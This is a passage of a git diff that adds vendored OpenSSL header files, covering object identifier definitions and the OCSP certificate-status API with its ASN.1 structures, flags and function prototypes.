Netscape */ + +#define SN_ns_sgc "nsSGC" +#define LN_ns_sgc "Netscape Server Gated Crypto" +#define NID_ns_sgc 139 +#define OBJ_ns_sgc OBJ_netscape,4L,1L + +#define SN_delta_crl "deltaCRL" +#define LN_delta_crl "X509v3 Delta CRL Indicator" +#define NID_delta_crl 140 +#define OBJ_delta_crl OBJ_id_ce,27L + +#define SN_crl_reason "CRLReason" +#define LN_crl_reason "CRL Reason Code" +#define NID_crl_reason 141 +#define OBJ_crl_reason OBJ_id_ce,21L + +#define SN_invalidity_date "invalidityDate" +#define LN_invalidity_date "Invalidity Date" +#define NID_invalidity_date 142 +#define OBJ_invalidity_date OBJ_id_ce,24L + +#define SN_sxnet "SXNetID" +#define LN_sxnet "Strong Extranet ID" +#define NID_sxnet 143 +#define OBJ_sxnet 1L,3L,101L,1L,4L,1L + +/* PKCS12 and related OBJECT IDENTIFIERS */ + +#define OBJ_pkcs12 OBJ_pkcs,12L +#define OBJ_pkcs12_pbeids OBJ_pkcs12, 1 + +#define SN_pbe_WithSHA1And128BitRC4 "PBE-SHA1-RC4-128" +#define LN_pbe_WithSHA1And128BitRC4 "pbeWithSHA1And128BitRC4" +#define NID_pbe_WithSHA1And128BitRC4 144 +#define OBJ_pbe_WithSHA1And128BitRC4 OBJ_pkcs12_pbeids, 1L + +#define SN_pbe_WithSHA1And40BitRC4 "PBE-SHA1-RC4-40" +#define LN_pbe_WithSHA1And40BitRC4 "pbeWithSHA1And40BitRC4" +#define NID_pbe_WithSHA1And40BitRC4 145 +#define OBJ_pbe_WithSHA1And40BitRC4 OBJ_pkcs12_pbeids, 2L + +#define SN_pbe_WithSHA1And3_Key_TripleDES_CBC "PBE-SHA1-3DES" +#define LN_pbe_WithSHA1And3_Key_TripleDES_CBC "pbeWithSHA1And3-KeyTripleDES-CBC" +#define NID_pbe_WithSHA1And3_Key_TripleDES_CBC 146 +#define OBJ_pbe_WithSHA1And3_Key_TripleDES_CBC OBJ_pkcs12_pbeids, 3L + +#define SN_pbe_WithSHA1And2_Key_TripleDES_CBC "PBE-SHA1-2DES" +#define LN_pbe_WithSHA1And2_Key_TripleDES_CBC "pbeWithSHA1And2-KeyTripleDES-CBC" +#define NID_pbe_WithSHA1And2_Key_TripleDES_CBC 147 +#define OBJ_pbe_WithSHA1And2_Key_TripleDES_CBC OBJ_pkcs12_pbeids, 4L + +#define SN_pbe_WithSHA1And128BitRC2_CBC "PBE-SHA1-RC2-128" +#define LN_pbe_WithSHA1And128BitRC2_CBC "pbeWithSHA1And128BitRC2-CBC" +#define NID_pbe_WithSHA1And128BitRC2_CBC 148 +#define OBJ_pbe_WithSHA1And128BitRC2_CBC OBJ_pkcs12_pbeids, 5L + +#define SN_pbe_WithSHA1And40BitRC2_CBC "PBE-SHA1-RC2-40" +#define LN_pbe_WithSHA1And40BitRC2_CBC "pbeWithSHA1And40BitRC2-CBC" +#define NID_pbe_WithSHA1And40BitRC2_CBC 149 +#define OBJ_pbe_WithSHA1And40BitRC2_CBC OBJ_pkcs12_pbeids, 6L + +#define OBJ_pkcs12_Version1 OBJ_pkcs12, 10L + +#define OBJ_pkcs12_BagIds OBJ_pkcs12_Version1, 1L + +#define LN_keyBag "keyBag" +#define NID_keyBag 150 +#define OBJ_keyBag OBJ_pkcs12_BagIds, 1L + +#define LN_pkcs8ShroudedKeyBag "pkcs8ShroudedKeyBag" +#define NID_pkcs8ShroudedKeyBag 151 +#define OBJ_pkcs8ShroudedKeyBag OBJ_pkcs12_BagIds, 2L + +#define LN_certBag "certBag" +#define NID_certBag 152 +#define OBJ_certBag OBJ_pkcs12_BagIds, 3L + +#define LN_crlBag "crlBag" +#define NID_crlBag 153 +#define OBJ_crlBag OBJ_pkcs12_BagIds, 4L + +#define LN_secretBag "secretBag" +#define NID_secretBag 154 +#define OBJ_secretBag OBJ_pkcs12_BagIds, 5L + +#define LN_safeContentsBag "safeContentsBag" +#define NID_safeContentsBag 155 +#define OBJ_safeContentsBag OBJ_pkcs12_BagIds, 6L + +#define LN_friendlyName "friendlyName" +#define NID_friendlyName 156 +#define OBJ_friendlyName OBJ_pkcs9, 20L + +#define LN_localKeyID "localKeyID" +#define NID_localKeyID 157 +#define OBJ_localKeyID OBJ_pkcs9, 21L + +#define OBJ_certTypes OBJ_pkcs9, 22L + +#define LN_x509Certificate "x509Certificate" +#define NID_x509Certificate 158 +#define OBJ_x509Certificate OBJ_certTypes, 1L + +#define LN_sdsiCertificate "sdsiCertificate" +#define NID_sdsiCertificate 159 +#define OBJ_sdsiCertificate OBJ_certTypes, 2L + +#define OBJ_crlTypes OBJ_pkcs9, 23L + +#define LN_x509Crl "x509Crl" +#define NID_x509Crl 160 +#define OBJ_x509Crl OBJ_crlTypes, 1L + +/* PKCS#5 v2 OIDs */ + +#define LN_pbes2 "PBES2" +#define NID_pbes2 161 +#define OBJ_pbes2 OBJ_pkcs,5L,13L + +#define LN_pbmac1 "PBMAC1" +#define NID_pbmac1 162 +#define OBJ_pbmac1 OBJ_pkcs,5L,14L + +#define LN_hmacWithSHA1 "hmacWithSHA1" +#define NID_hmacWithSHA1 163 +#define OBJ_hmacWithSHA1 OBJ_rsadsi,2L,7L + +/* Policy Qualifier Ids */ + +#define LN_id_qt_cps "Policy Qualifier CPS" +#define SN_id_qt_cps "id-qt-cps" +#define NID_id_qt_cps 164 +#define OBJ_id_qt_cps OBJ_id_pkix,2L,1L + +#define LN_id_qt_unotice "Policy Qualifier User Notice" +#define SN_id_qt_unotice "id-qt-unotice" +#define NID_id_qt_unotice 165 +#define OBJ_id_qt_unotice OBJ_id_pkix,2L,2L + +#define SN_rc2_64_cbc "RC2-64-CBC" +#define LN_rc2_64_cbc "rc2-64-cbc" +#define NID_rc2_64_cbc 166 + +#define SN_SMIMECapabilities "SMIME-CAPS" +#define LN_SMIMECapabilities "S/MIME Capabilities" +#define NID_SMIMECapabilities 167 +#define OBJ_SMIMECapabilities OBJ_pkcs9,15L + +#define SN_pbeWithMD2AndRC2_CBC "PBE-MD2-RC2-64" +#define LN_pbeWithMD2AndRC2_CBC "pbeWithMD2AndRC2-CBC" +#define NID_pbeWithMD2AndRC2_CBC 168 +#define OBJ_pbeWithMD2AndRC2_CBC OBJ_pkcs,5L,4L + +#define SN_pbeWithMD5AndRC2_CBC "PBE-MD5-RC2-64" +#define LN_pbeWithMD5AndRC2_CBC "pbeWithMD5AndRC2-CBC" +#define NID_pbeWithMD5AndRC2_CBC 169 +#define OBJ_pbeWithMD5AndRC2_CBC OBJ_pkcs,5L,6L + +#define SN_pbeWithSHA1AndDES_CBC "PBE-SHA1-DES" +#define LN_pbeWithSHA1AndDES_CBC "pbeWithSHA1AndDES-CBC" +#define NID_pbeWithSHA1AndDES_CBC 170 +#define OBJ_pbeWithSHA1AndDES_CBC OBJ_pkcs,5L,10L + +/* Extension request OIDs */ + +#define LN_ms_ext_req "Microsoft Extension Request" +#define SN_ms_ext_req "msExtReq" +#define NID_ms_ext_req 171 +#define OBJ_ms_ext_req 1L,3L,6L,1L,4L,1L,311L,2L,1L,14L + +#define LN_ext_req "Extension Request" +#define SN_ext_req "extReq" +#define NID_ext_req 172 +#define OBJ_ext_req OBJ_pkcs9,14L + +#define SN_name "name" +#define LN_name "name" +#define NID_name 173 +#define OBJ_name OBJ_X509,41L + +#define SN_dnQualifier "dnQualifier" +#define LN_dnQualifier "dnQualifier" +#define NID_dnQualifier 174 +#define OBJ_dnQualifier OBJ_X509,46L + +#define SN_id_pe "id-pe" +#define NID_id_pe 175 +#define OBJ_id_pe OBJ_id_pkix,1L + +#define SN_id_ad "id-ad" +#define NID_id_ad 176 +#define OBJ_id_ad OBJ_id_pkix,48L + +#define SN_info_access "authorityInfoAccess" +#define LN_info_access "Authority Information Access" +#define NID_info_access 177 +#define OBJ_info_access OBJ_id_pe,1L + +#define SN_ad_OCSP "OCSP" +#define LN_ad_OCSP "OCSP" +#define NID_ad_OCSP 178 +#define OBJ_ad_OCSP OBJ_id_ad,1L + +#define SN_ad_ca_issuers "caIssuers" +#define LN_ad_ca_issuers "CA Issuers" +#define NID_ad_ca_issuers 179 +#define OBJ_ad_ca_issuers OBJ_id_ad,2L + +#define SN_OCSP_sign "OCSPSigning" +#define LN_OCSP_sign "OCSP Signing" +#define NID_OCSP_sign 180 +#define OBJ_OCSP_sign OBJ_id_kp,9L +#endif /* USE_OBJ_MAC */ + +#include +#include + +#define OBJ_NAME_TYPE_UNDEF 0x00 +#define OBJ_NAME_TYPE_MD_METH 0x01 +#define OBJ_NAME_TYPE_CIPHER_METH 0x02 +#define OBJ_NAME_TYPE_PKEY_METH 0x03 +#define OBJ_NAME_TYPE_COMP_METH 0x04 +#define OBJ_NAME_TYPE_NUM 0x05 + +#define OBJ_NAME_ALIAS 0x8000 + +#define OBJ_BSEARCH_VALUE_ON_NOMATCH 0x01 +#define OBJ_BSEARCH_FIRST_VALUE_ON_MATCH 0x02 + + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct obj_name_st + { + int type; + int alias; + const char *name; + const char *data; + } OBJ_NAME; + +#define OBJ_create_and_add_object(a,b,c) OBJ_create(a,b,c) + + +int OBJ_NAME_init(void); +int OBJ_NAME_new_index(unsigned long (*hash_func)(const char *), + int (*cmp_func)(const char *, const char *), + void (*free_func)(const char *, int, const char *)); +const char *OBJ_NAME_get(const char *name,int type); +int OBJ_NAME_add(const char *name,int type,const char *data); +int OBJ_NAME_remove(const char *name,int type); +void OBJ_NAME_cleanup(int type); /* -1 for everything */ +void OBJ_NAME_do_all(int type,void (*fn)(const OBJ_NAME *,void *arg), + void *arg); +void OBJ_NAME_do_all_sorted(int type,void (*fn)(const OBJ_NAME *,void *arg), + void *arg); + +ASN1_OBJECT * OBJ_dup(const ASN1_OBJECT *o); +ASN1_OBJECT * OBJ_nid2obj(int n); +const char * OBJ_nid2ln(int n); +const char * OBJ_nid2sn(int n); +int OBJ_obj2nid(const ASN1_OBJECT *o); +ASN1_OBJECT * OBJ_txt2obj(const char *s, int no_name); +int OBJ_obj2txt(char *buf, int buf_len, const ASN1_OBJECT *a, int no_name); +int OBJ_txt2nid(const char *s); +int OBJ_ln2nid(const char *s); +int OBJ_sn2nid(const char *s); +int OBJ_cmp(const ASN1_OBJECT *a,const ASN1_OBJECT *b); +const char * OBJ_bsearch(const char *key,const char *base,int num,int size, + int (*cmp)(const void *, const void *)); +const char * OBJ_bsearch_ex(const char *key,const char *base,int num, + int size, int (*cmp)(const void *, const void *), int flags); + +int OBJ_new_nid(int num); +int OBJ_add_object(const ASN1_OBJECT *obj); +int OBJ_create(const char *oid,const char *sn,const char *ln); +void OBJ_cleanup(void ); +int OBJ_create_objects(BIO *in); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_OBJ_strings(void); + +/* Error codes for the OBJ functions. */ + +/* Function codes. */ +#define OBJ_F_OBJ_ADD_OBJECT 105 +#define OBJ_F_OBJ_CREATE 100 +#define OBJ_F_OBJ_DUP 101 +#define OBJ_F_OBJ_NAME_NEW_INDEX 106 +#define OBJ_F_OBJ_NID2LN 102 +#define OBJ_F_OBJ_NID2OBJ 103 +#define OBJ_F_OBJ_NID2SN 104 + +/* Reason codes. */ +#define OBJ_R_MALLOC_FAILURE 100 +#define OBJ_R_UNKNOWN_NID 101 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/ocsp.h b/winstuff/openssl/ocsp.h new file mode 100644 index 0000000..a0577a7 --- /dev/null +++ b/winstuff/openssl/ocsp.h @@ -0,0 +1,623 @@ +/* ocsp.h */ +/* Written by Tom Titchener for the OpenSSL + * project. */ + +/* History: + This file was transfered to Richard Levitte from CertCo by Kathy + Weinhold in mid-spring 2000 to be included in OpenSSL or released + as a patch kit. */ + +/* ==================================================================== + * Copyright (c) 1998-2000 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_OCSP_H +#define HEADER_OCSP_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Various flags and values */ + +#define OCSP_DEFAULT_NONCE_LENGTH 16 + +#define OCSP_NOCERTS 0x1 +#define OCSP_NOINTERN 0x2 +#define OCSP_NOSIGS 0x4 +#define OCSP_NOCHAIN 0x8 +#define OCSP_NOVERIFY 0x10 +#define OCSP_NOEXPLICIT 0x20 +#define OCSP_NOCASIGN 0x40 +#define OCSP_NODELEGATED 0x80 +#define OCSP_NOCHECKS 0x100 +#define OCSP_TRUSTOTHER 0x200 +#define OCSP_RESPID_KEY 0x400 +#define OCSP_NOTIME 0x800 + +/* CertID ::= SEQUENCE { + * hashAlgorithm AlgorithmIdentifier, + * issuerNameHash OCTET STRING, -- Hash of Issuer's DN + * issuerKeyHash OCTET STRING, -- Hash of Issuers public key (excluding the tag & length fields) + * serialNumber CertificateSerialNumber } + */ +typedef struct ocsp_cert_id_st + { + X509_ALGOR *hashAlgorithm; + ASN1_OCTET_STRING *issuerNameHash; + ASN1_OCTET_STRING *issuerKeyHash; + ASN1_INTEGER *serialNumber; + } OCSP_CERTID; + +DECLARE_STACK_OF(OCSP_CERTID) + +/* Request ::= SEQUENCE { + * reqCert CertID, + * singleRequestExtensions [0] EXPLICIT Extensions OPTIONAL } + */ +typedef struct ocsp_one_request_st + { + OCSP_CERTID *reqCert; + STACK_OF(X509_EXTENSION) *singleRequestExtensions; + } OCSP_ONEREQ; + +DECLARE_STACK_OF(OCSP_ONEREQ) +DECLARE_ASN1_SET_OF(OCSP_ONEREQ) + + +/* TBSRequest ::= SEQUENCE { + * version [0] EXPLICIT Version DEFAULT v1, + * requestorName [1] EXPLICIT GeneralName OPTIONAL, + * requestList SEQUENCE OF Request, + * requestExtensions [2] EXPLICIT Extensions OPTIONAL } + */ +typedef struct ocsp_req_info_st + { + ASN1_INTEGER *version; + GENERAL_NAME *requestorName; + STACK_OF(OCSP_ONEREQ) *requestList; + STACK_OF(X509_EXTENSION) *requestExtensions; + } OCSP_REQINFO; + +/* Signature ::= SEQUENCE { + * signatureAlgorithm AlgorithmIdentifier, + * signature BIT STRING, + * certs [0] EXPLICIT SEQUENCE OF Certificate OPTIONAL } + */ +typedef struct ocsp_signature_st + { + X509_ALGOR *signatureAlgorithm; + ASN1_BIT_STRING *signature; + STACK_OF(X509) *certs; + } OCSP_SIGNATURE; + +/* OCSPRequest ::= SEQUENCE { + * tbsRequest TBSRequest, + * optionalSignature [0] EXPLICIT Signature OPTIONAL } + */ +typedef struct ocsp_request_st + { + OCSP_REQINFO *tbsRequest; + OCSP_SIGNATURE *optionalSignature; /* OPTIONAL */ + } OCSP_REQUEST; + +/* OCSPResponseStatus ::= ENUMERATED { + * successful (0), --Response has valid confirmations + * malformedRequest (1), --Illegal confirmation request + * internalError (2), --Internal error in issuer + * tryLater (3), --Try again later + * --(4) is not used + * sigRequired (5), --Must sign the request + * unauthorized (6) --Request unauthorized + * } + */ +#define OCSP_RESPONSE_STATUS_SUCCESSFUL 0 +#define OCSP_RESPONSE_STATUS_MALFORMEDREQUEST 1 +#define OCSP_RESPONSE_STATUS_INTERNALERROR 2 +#define OCSP_RESPONSE_STATUS_TRYLATER 3 +#define OCSP_RESPONSE_STATUS_SIGREQUIRED 5 +#define OCSP_RESPONSE_STATUS_UNAUTHORIZED 6 + +/* ResponseBytes ::= SEQUENCE { + * responseType OBJECT IDENTIFIER, + * response OCTET STRING } + */ +typedef struct ocsp_resp_bytes_st + { + ASN1_OBJECT *responseType; + ASN1_OCTET_STRING *response; + } OCSP_RESPBYTES; + +/* OCSPResponse ::= SEQUENCE { + * responseStatus OCSPResponseStatus, + * responseBytes [0] EXPLICIT ResponseBytes OPTIONAL } + */ +struct ocsp_response_st + { + ASN1_ENUMERATED *responseStatus; + OCSP_RESPBYTES *responseBytes; + }; + +/* ResponderID ::= CHOICE { + * byName [1] Name, + * byKey [2] KeyHash } + */ +#define V_OCSP_RESPID_NAME 0 +#define V_OCSP_RESPID_KEY 1 +struct ocsp_responder_id_st + { + int type; + union { + X509_NAME* byName; + ASN1_OCTET_STRING *byKey; + } value; + }; + +DECLARE_STACK_OF(OCSP_RESPID) +DECLARE_ASN1_FUNCTIONS(OCSP_RESPID) + +/* KeyHash ::= OCTET STRING --SHA-1 hash of responder's public key + * --(excluding the tag and length fields) + */ + +/* RevokedInfo ::= SEQUENCE { + * revocationTime GeneralizedTime, + * revocationReason [0] EXPLICIT CRLReason OPTIONAL } + */ +typedef struct ocsp_revoked_info_st + { + ASN1_GENERALIZEDTIME *revocationTime; + ASN1_ENUMERATED *revocationReason; + } OCSP_REVOKEDINFO; + +/* CertStatus ::= CHOICE { + * good [0] IMPLICIT NULL, + * revoked [1] IMPLICIT RevokedInfo, + * unknown [2] IMPLICIT UnknownInfo } + */ +#define V_OCSP_CERTSTATUS_GOOD 0 +#define V_OCSP_CERTSTATUS_REVOKED 1 +#define V_OCSP_CERTSTATUS_UNKNOWN 2 +typedef struct ocsp_cert_status_st + { + int type; + union { + ASN1_NULL *good; + OCSP_REVOKEDINFO *revoked; + ASN1_NULL *unknown; + } value; + } OCSP_CERTSTATUS; + +/* SingleResponse ::= SEQUENCE { + * certID CertID, + * certStatus CertStatus, + * thisUpdate GeneralizedTime, + * nextUpdate [0] EXPLICIT GeneralizedTime OPTIONAL, + * singleExtensions [1] EXPLICIT Extensions OPTIONAL } + */ +typedef struct ocsp_single_response_st + { + OCSP_CERTID *certId; + OCSP_CERTSTATUS *certStatus; + ASN1_GENERALIZEDTIME *thisUpdate; + ASN1_GENERALIZEDTIME *nextUpdate; + STACK_OF(X509_EXTENSION) *singleExtensions; + } OCSP_SINGLERESP; + +DECLARE_STACK_OF(OCSP_SINGLERESP) +DECLARE_ASN1_SET_OF(OCSP_SINGLERESP) + +/* ResponseData ::= SEQUENCE { + * version [0] EXPLICIT Version DEFAULT v1, + * responderID ResponderID, + * producedAt GeneralizedTime, + * responses SEQUENCE OF SingleResponse, + * responseExtensions [1] EXPLICIT Extensions OPTIONAL } + */ +typedef struct ocsp_response_data_st + { + ASN1_INTEGER *version; + OCSP_RESPID *responderId; + ASN1_GENERALIZEDTIME *producedAt; + STACK_OF(OCSP_SINGLERESP) *responses; + STACK_OF(X509_EXTENSION) *responseExtensions; + } OCSP_RESPDATA; + +/* BasicOCSPResponse ::= SEQUENCE { + * tbsResponseData ResponseData, + * signatureAlgorithm AlgorithmIdentifier, + * signature BIT STRING, + * certs [0] EXPLICIT SEQUENCE OF Certificate OPTIONAL } + */ + /* Note 1: + The value for "signature" is specified in the OCSP rfc2560 as follows: + "The value for the signature SHALL be computed on the hash of the DER + encoding ResponseData." This means that you must hash the DER-encoded + tbsResponseData, and then run it through a crypto-signing function, which + will (at least w/RSA) do a hash-'n'-private-encrypt operation. This seems + a bit odd, but that's the spec. Also note that the data structures do not + leave anywhere to independently specify the algorithm used for the initial + hash. So, we look at the signature-specification algorithm, and try to do + something intelligent. -- Kathy Weinhold, CertCo */ + /* Note 2: + It seems that the mentioned passage from RFC 2560 (section 4.2.1) is open + for interpretation. I've done tests against another responder, and found + that it doesn't do the double hashing that the RFC seems to say one + should. Therefore, all relevant functions take a flag saying which + variant should be used. -- Richard Levitte, OpenSSL team and CeloCom */ +typedef struct ocsp_basic_response_st + { + OCSP_RESPDATA *tbsResponseData; + X509_ALGOR *signatureAlgorithm; + ASN1_BIT_STRING *signature; + STACK_OF(X509) *certs; + } OCSP_BASICRESP; + +/* + * CRLReason ::= ENUMERATED { + * unspecified (0), + * keyCompromise (1), + * cACompromise (2), + * affiliationChanged (3), + * superseded (4), + * cessationOfOperation (5), + * certificateHold (6), + * removeFromCRL (8) } + */ +#define OCSP_REVOKED_STATUS_NOSTATUS -1 +#define OCSP_REVOKED_STATUS_UNSPECIFIED 0 +#define OCSP_REVOKED_STATUS_KEYCOMPROMISE 1 +#define OCSP_REVOKED_STATUS_CACOMPROMISE 2 +#define OCSP_REVOKED_STATUS_AFFILIATIONCHANGED 3 +#define OCSP_REVOKED_STATUS_SUPERSEDED 4 +#define OCSP_REVOKED_STATUS_CESSATIONOFOPERATION 5 +#define OCSP_REVOKED_STATUS_CERTIFICATEHOLD 6 +#define OCSP_REVOKED_STATUS_REMOVEFROMCRL 8 + +/* CrlID ::= SEQUENCE { + * crlUrl [0] EXPLICIT IA5String OPTIONAL, + * crlNum [1] EXPLICIT INTEGER OPTIONAL, + * crlTime [2] EXPLICIT GeneralizedTime OPTIONAL } + */ +typedef struct ocsp_crl_id_st + { + ASN1_IA5STRING *crlUrl; + ASN1_INTEGER *crlNum; + ASN1_GENERALIZEDTIME *crlTime; + } OCSP_CRLID; + +/* ServiceLocator ::= SEQUENCE { + * issuer Name, + * locator AuthorityInfoAccessSyntax OPTIONAL } + */ +typedef struct ocsp_service_locator_st + { + X509_NAME* issuer; + STACK_OF(ACCESS_DESCRIPTION) *locator; + } OCSP_SERVICELOC; + +#define PEM_STRING_OCSP_REQUEST "OCSP REQUEST" +#define PEM_STRING_OCSP_RESPONSE "OCSP RESPONSE" + +#define d2i_OCSP_REQUEST_bio(bp,p) ASN1_d2i_bio_of(OCSP_REQUEST,OCSP_REQUEST_new,d2i_OCSP_REQUEST,bp,p) + +#define d2i_OCSP_RESPONSE_bio(bp,p) ASN1_d2i_bio_of(OCSP_RESPONSE,OCSP_RESPONSE_new,d2i_OCSP_RESPONSE,bp,p) + +#define PEM_read_bio_OCSP_REQUEST(bp,x,cb) (OCSP_REQUEST *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_OCSP_REQUEST,PEM_STRING_OCSP_REQUEST,bp,(char **)x,cb,NULL) + +#define PEM_read_bio_OCSP_RESPONSE(bp,x,cb)(OCSP_RESPONSE *)PEM_ASN1_read_bio(\ + (char *(*)())d2i_OCSP_RESPONSE,PEM_STRING_OCSP_RESPONSE,bp,(char **)x,cb,NULL) + +#define PEM_write_bio_OCSP_REQUEST(bp,o) \ + PEM_ASN1_write_bio((int (*)())i2d_OCSP_REQUEST,PEM_STRING_OCSP_REQUEST,\ + bp,(char *)o, NULL,NULL,0,NULL,NULL) + +#define PEM_write_bio_OCSP_RESPONSE(bp,o) \ + PEM_ASN1_write_bio((int (*)())i2d_OCSP_RESPONSE,PEM_STRING_OCSP_RESPONSE,\ + bp,(char *)o, NULL,NULL,0,NULL,NULL) + +#define i2d_OCSP_RESPONSE_bio(bp,o) ASN1_i2d_bio_of(OCSP_RESPONSE,i2d_OCSP_RESPONSE,bp,o) + +#define i2d_OCSP_REQUEST_bio(bp,o) ASN1_i2d_bio_of(OCSP_REQUEST,i2d_OCSP_REQUEST,bp,o) + +#define OCSP_REQUEST_sign(o,pkey,md) \ + ASN1_item_sign(ASN1_ITEM_rptr(OCSP_REQINFO),\ + o->optionalSignature->signatureAlgorithm,NULL,\ + o->optionalSignature->signature,o->tbsRequest,pkey,md) + +#define OCSP_BASICRESP_sign(o,pkey,md,d) \ + ASN1_item_sign(ASN1_ITEM_rptr(OCSP_RESPDATA),o->signatureAlgorithm,NULL,\ + o->signature,o->tbsResponseData,pkey,md) + +#define OCSP_REQUEST_verify(a,r) ASN1_item_verify(ASN1_ITEM_rptr(OCSP_REQINFO),\ + a->optionalSignature->signatureAlgorithm,\ + a->optionalSignature->signature,a->tbsRequest,r) + +#define OCSP_BASICRESP_verify(a,r,d) ASN1_item_verify(ASN1_ITEM_rptr(OCSP_RESPDATA),\ + a->signatureAlgorithm,a->signature,a->tbsResponseData,r) + +#define ASN1_BIT_STRING_digest(data,type,md,len) \ + ASN1_item_digest(ASN1_ITEM_rptr(ASN1_BIT_STRING),type,data,md,len) + +#define OCSP_CERTID_dup(cid) ASN1_dup_of(OCSP_CERTID,i2d_OCSP_CERTID,d2i_OCSP_CERTID,cid) + +#define OCSP_CERTSTATUS_dup(cs)\ + (OCSP_CERTSTATUS*)ASN1_dup((int(*)())i2d_OCSP_CERTSTATUS,\ + (char *(*)())d2i_OCSP_CERTSTATUS,(char *)(cs)) + +OCSP_RESPONSE *OCSP_sendreq_bio(BIO *b, char *path, OCSP_REQUEST *req); +OCSP_REQ_CTX *OCSP_sendreq_new(BIO *io, char *path, OCSP_REQUEST *req, + int maxline); +int OCSP_sendreq_nbio(OCSP_RESPONSE **presp, OCSP_REQ_CTX *rctx); +void OCSP_REQ_CTX_free(OCSP_REQ_CTX *rctx); + +OCSP_CERTID *OCSP_cert_to_id(const EVP_MD *dgst, X509 *subject, X509 *issuer); + +OCSP_CERTID *OCSP_cert_id_new(const EVP_MD *dgst, + X509_NAME *issuerName, + ASN1_BIT_STRING* issuerKey, + ASN1_INTEGER *serialNumber); + +OCSP_ONEREQ *OCSP_request_add0_id(OCSP_REQUEST *req, OCSP_CERTID *cid); + +int OCSP_request_add1_nonce(OCSP_REQUEST *req, unsigned char *val, int len); +int OCSP_basic_add1_nonce(OCSP_BASICRESP *resp, unsigned char *val, int len); +int OCSP_check_nonce(OCSP_REQUEST *req, OCSP_BASICRESP *bs); +int OCSP_copy_nonce(OCSP_BASICRESP *resp, OCSP_REQUEST *req); + +int OCSP_request_set1_name(OCSP_REQUEST *req, X509_NAME *nm); +int OCSP_request_add1_cert(OCSP_REQUEST *req, X509 *cert); + +int OCSP_request_sign(OCSP_REQUEST *req, + X509 *signer, + EVP_PKEY *key, + const EVP_MD *dgst, + STACK_OF(X509) *certs, + unsigned long flags); + +int OCSP_response_status(OCSP_RESPONSE *resp); +OCSP_BASICRESP *OCSP_response_get1_basic(OCSP_RESPONSE *resp); + +int OCSP_resp_count(OCSP_BASICRESP *bs); +OCSP_SINGLERESP *OCSP_resp_get0(OCSP_BASICRESP *bs, int idx); +int OCSP_resp_find(OCSP_BASICRESP *bs, OCSP_CERTID *id, int last); +int OCSP_single_get0_status(OCSP_SINGLERESP *single, int *reason, + ASN1_GENERALIZEDTIME **revtime, + ASN1_GENERALIZEDTIME **thisupd, + ASN1_GENERALIZEDTIME **nextupd); +int OCSP_resp_find_status(OCSP_BASICRESP *bs, OCSP_CERTID *id, int *status, + int *reason, + ASN1_GENERALIZEDTIME **revtime, + ASN1_GENERALIZEDTIME **thisupd, + ASN1_GENERALIZEDTIME **nextupd); +int OCSP_check_validity(ASN1_GENERALIZEDTIME *thisupd, + ASN1_GENERALIZEDTIME *nextupd, + long sec, long maxsec); + +int OCSP_request_verify(OCSP_REQUEST *req, STACK_OF(X509) *certs, X509_STORE *store, unsigned long flags); + +int OCSP_parse_url(char *url, char **phost, char **pport, char **ppath, int *pssl); + +int OCSP_id_issuer_cmp(OCSP_CERTID *a, OCSP_CERTID *b); +int OCSP_id_cmp(OCSP_CERTID *a, OCSP_CERTID *b); + +int OCSP_request_onereq_count(OCSP_REQUEST *req); +OCSP_ONEREQ *OCSP_request_onereq_get0(OCSP_REQUEST *req, int i); +OCSP_CERTID *OCSP_onereq_get0_id(OCSP_ONEREQ *one); +int OCSP_id_get0_info(ASN1_OCTET_STRING **piNameHash, ASN1_OBJECT **pmd, + ASN1_OCTET_STRING **pikeyHash, + ASN1_INTEGER **pserial, OCSP_CERTID *cid); +int OCSP_request_is_signed(OCSP_REQUEST *req); +OCSP_RESPONSE *OCSP_response_create(int status, OCSP_BASICRESP *bs); +OCSP_SINGLERESP *OCSP_basic_add1_status(OCSP_BASICRESP *rsp, + OCSP_CERTID *cid, + int status, int reason, + ASN1_TIME *revtime, + ASN1_TIME *thisupd, ASN1_TIME *nextupd); +int OCSP_basic_add1_cert(OCSP_BASICRESP *resp, X509 *cert); +int OCSP_basic_sign(OCSP_BASICRESP *brsp, + X509 